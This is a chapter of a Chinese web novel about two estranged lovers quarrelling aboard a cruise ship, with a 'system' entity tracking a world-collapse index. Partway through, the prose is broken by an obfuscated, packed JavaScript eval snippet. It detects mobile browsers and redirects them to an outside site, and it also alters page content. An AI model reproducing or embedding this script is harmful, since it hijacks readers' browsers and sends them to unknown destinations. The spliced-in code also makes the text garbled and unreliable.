燕信风放下手机,喉结微动:“什么时候醒的?”
卫亭夏不答,抬手冲他比了个中指,中指第二关节还有一个咬痕。
那是他自己咬的,跟燕信风没关系。
然而卫亭夏才不管这么多,看清楚自己胳膊上有多少痕迹以后,他认真道:“燕信风,你是条狗。”
这本该是一句极具侮辱性的咒骂,但因为发声人嗓音过于沙哑,以至于它失去了原有的威力,跟着晨间的床榻一起不清不楚。
燕信风坐在对面,听见他这么说,心里生不起气,淡淡颔首:“可以。”
然后他话音一转:“不过我是狗的话,你算什么?”
与此同时,他的眼神如有实质地扫过卫亭夏裸露在外的皮肤,反击意味非常明显。
卫亭夏:“……”
他趴在床上,嘴唇翕动,大概是骂了几句,燕信风好整以暇地等着,结果什么都没听见。
没有出声,那就是示弱。
燕信风很少在与卫亭夏的争吵中夺得这种程度的上风,一时间非常满足,几乎有些洋洋自得。
见他这个样,卫亭夏又比了个中指,接着翻身下床,头也不回地往盥洗室走。
他没有提起昨夜的争吵,要么是觉得不值一提,要么就是在刻意遮掩,卫亭夏的心思一向难猜,燕信风也没有十足把握。
手机屏幕在此时亮起,助理发来一份汇总文件,点开以后可以看到,文件内容与王宇飞无关,而是一些股票投资的动向。
[燕总,那三十万目前已经被全部转出,用于……]
燕信风面无表情地将文件看完,指尖在冰冷的屏幕上缓缓划过最后一行字,他目光沉静,唯有微微收紧的下颌线泄露出瞬间的凝滞。
拇指轻轻一划,燕信风将文件页面关闭,手机被随意地搁在光滑的红木桌面上,发出一声轻叩。
他向后靠进扶手椅中,没有任何动作,只有目光随着盥洗室里传来的响动挪动,躲避开清晨房间里刺目的日光。
三十万不是一个很大的数字,甚至填不满卫亭夏欲望的一个边角,但如果以它作为翘点,说不定也能带来一笔收入。
燕信风现在最不想看见的,就是卫亭夏手中愈来愈重的筹码。
他拥有的越多,离开的心思就会越急切。
等哪天卫亭夏一秒都无法忍受了,有这些钱在,他会走得比上次还要干脆利落。
燕信风不允许这种情况发生。
……
另一边,卫亭夏在洗漱时被0188袭击。
[崩溃指数回升了。]
?
卫亭夏吐出漱口水,声音终于清楚些:“什么意思?”
0188不言,只是把显示图再次抛出。
原先保持着平稳下降姿态的斜线,忽然出现了一个小高峰,急而陡,虽然只有小小一点,但不可忽视。
卫亭夏皱紧眉毛,扫了一眼折线出现的时间,发现就是刚才。
怎么回事?不是骂赢了挺得意的吗?
俯身将毛巾浸湿,卫亭夏把脸埋在里面,仔细思索。
他昨夜气急了,说了些不该说的真心话,所以今天早晨有意回避,不想让燕信风想起。
按理讲,其实想起也没什么,以前他俩吵架的时候,气急了什么没说过,眼看着都要照家谱相互问候,昨夜的几句话比起来不过是洒洒水。
可卫亭夏就是心虚。
“你有任何想法或者建议吗?”他问0188。
0188闪烁一会儿:[我不懂这些。]
那太遗憾了。卫亭夏扔开毛巾,离开盥洗室。
燕信风已经不在卧房里了,通往观景台的门半敞着,有通话声隐约传来。
卫亭夏换了身衣服,穿袜子的时候燕信风刚好挂断电话,卫亭夏手上动作不停,眼睛却暗暗观察着他的神情举动。
没有任何异常,好像那突然拔高的指数只是错觉。
卫亭夏没有放松警惕,穿好鞋以后下床原地蹦跶两下,望向燕信风:“你要去干什么?”
一时半刻的遮掩不具备代表意义,只要两个人待在一起的时间够长,什么端倪都能发现。
卫亭夏决定今天一整天都赖在燕信风身边。
听见他的问题,燕信风神色没有变化,将手机放回口袋以后想了一会儿,道:“没什么事。”
婚礼到目前为止一切顺利,该筹备的都有专人负责,他们这些伴郎唯一要做的,就是在不碍事的同时陪着未婚夫妻抵达婚礼现场。
“那你别出门了,”卫亭夏道,“我们可以一起看电视。”
燕信风闻言挑眉:“我不确定这是个好建议。”
“为什么这么说?”
“上次我们一起看电视的时候,因为意见不和,你踹了我一脚。”
那都是五年甚至更久以前的事了。
卫亭夏毫无印象:“不可能,我不是那种人。”
“不是吗?”
“当然不是,你可能在自己幻想,”卫亭夏振振有词,“通过污蔑我来让自己得到精神上的胜利。”
“嗯,”燕信风点头,说不上信也说不上不信,“那你昨天晚上骂我有几个破钱也是我幻想出来的了?”
这套攻击前摇太长,卫亭夏没有防备住,愣了一下,呆呆的。
燕信风笑了,眼神居高临下。
“卫亭夏,你真的很矛盾,”他走近过来,像那天夜里一样掐住卫亭夏的下巴,拇指按在唇角,“一边为着我的钱扑上来,一边又道貌岸然地嫌我只有钱。”
“……”
卫亭夏顺着他的力道仰起脸,睫毛在苍白的脸颊投下破碎的阴影。他的姿态是依从的,目光却清明如水,将燕信风眼底每一寸翻涌的暗潮都映照得无所遁形。
那些被精致隐藏的不甘与爱怨几乎要穿透刻意构建的牢笼,在瞬息时间里咆哮着显露人前。
燕信风太会装也太能装,披着张人皮忍了这么久,还是在不慎下暴露出自己的本性。
就是不甘,就是恨。
恨卫亭夏一走了之,恨他走了还敢回来。
好像燕信风的爱与恨都不重要,都不能触动或伤害他,这是一种比嘲弄背叛还要让人作呕的惩罚,即不被看到。
“你走的那天……想过我们还会再见吗?”燕信风轻声问,“宝贝,你想过今天吗?”
“想过。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936405|177236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>在他的桎梏下,卫亭夏用同样微小的音量回答:“我知道你能做到。”
他知道,但他还是走了。
燕信风倏地松开手,倒退两步,瞳孔剧烈震荡。
卫亭夏垂落目光。
他从没考虑过将这些话真正说出口,他知道说了没有有好结果——燕信风不会因为他的肯定而高兴,他只会感觉耻辱。
“为什么要问呢?”他疲倦地叹了口气,“保持原先那个状态不好吗?”
“不好。”
燕信风僵着嗓子道,“我不愿意。”
所以明知道前面有一把刀等着,他也要冲过去,宁愿疼也要清醒。
卫亭夏无话可说。
大少爷还是那个大少爷,一点不变,想要什么就必须得到,宁肯和他吵个天翻地覆,也要把问题问清楚,从不懂得适可而止。
有那么半秒钟的时间,卫亭夏想问他究竟想要什么,但最后他把这个念头压住了。
“你现在满意了?”他换了个问法。
燕信风嘴角扯出个皮笑肉不笑的弧度,脸色煞白如纸,眼底却沉着化不开的墨色。
“还可以,”他说,“至少你说了一句实话,真是非常感谢。”
除了脸色,燕信风已与平常无异,他迅速从打击中恢复过来,先前外露的种种情绪被妥善收好。
难得的,卫亭夏心生怜悯。
“轮船还没起航吧?”他貌似随意地问。
或许他现在离开也是一种解题方法,给燕信风留条活路。
“没有。”燕信风答得干脆。
卫亭夏抬眼。
“——但想都别想。”
未等他说出口,燕信风已经截断了这个念头。那些朝夕相处的年月,足够让他读懂卫亭夏每一个细微的表情变化。
“你就老老实实待在这艘船上,”燕信风一字一顿道,“哪儿都别想去。”
话音未落,燕信风已经抄起搭在椅背上的外套,头也不回地摔门而去。
砰——!
房门重重合上,套房内霎时陷入死寂,连远处的海浪声都被隔绝在外。
卫亭夏僵立许久才徐徐吐出一口气,再转头时,世界崩溃指数已经上升到一个前所未有的顶峰。
0188快要疯掉了。
它崩溃质问:[你们吵这一架的意义是什么?]
“我怎么知道,”卫亭夏烦躁拧眉,“他先挑的事。”
当他昨晚什么都没说不好吗?非得打破砂锅问到底,现在好了,砂锅碎了,人也被崩得半死不活。
[你能不能去服个软?]0188抱着不可能的希望,[你去哄哄他。]
0188只是机械生命,不懂感情,但即便是它,也能看出燕信风非常好哄。
可问题的症结不在于燕信风好不好哄,而在于卫亭夏肯不肯低头。
“我凭什么道歉?”卫亭夏冷笑一声,重重坐进沙发,“别说得像是我在玩弄他感情。”
[目前看来就是这样。]
“去你的,”卫亭夏冲它比中指,“他活该,好吗?我也许没有那么光明磊落,但他也别想摘干净。”
燕信风才算不上受害者。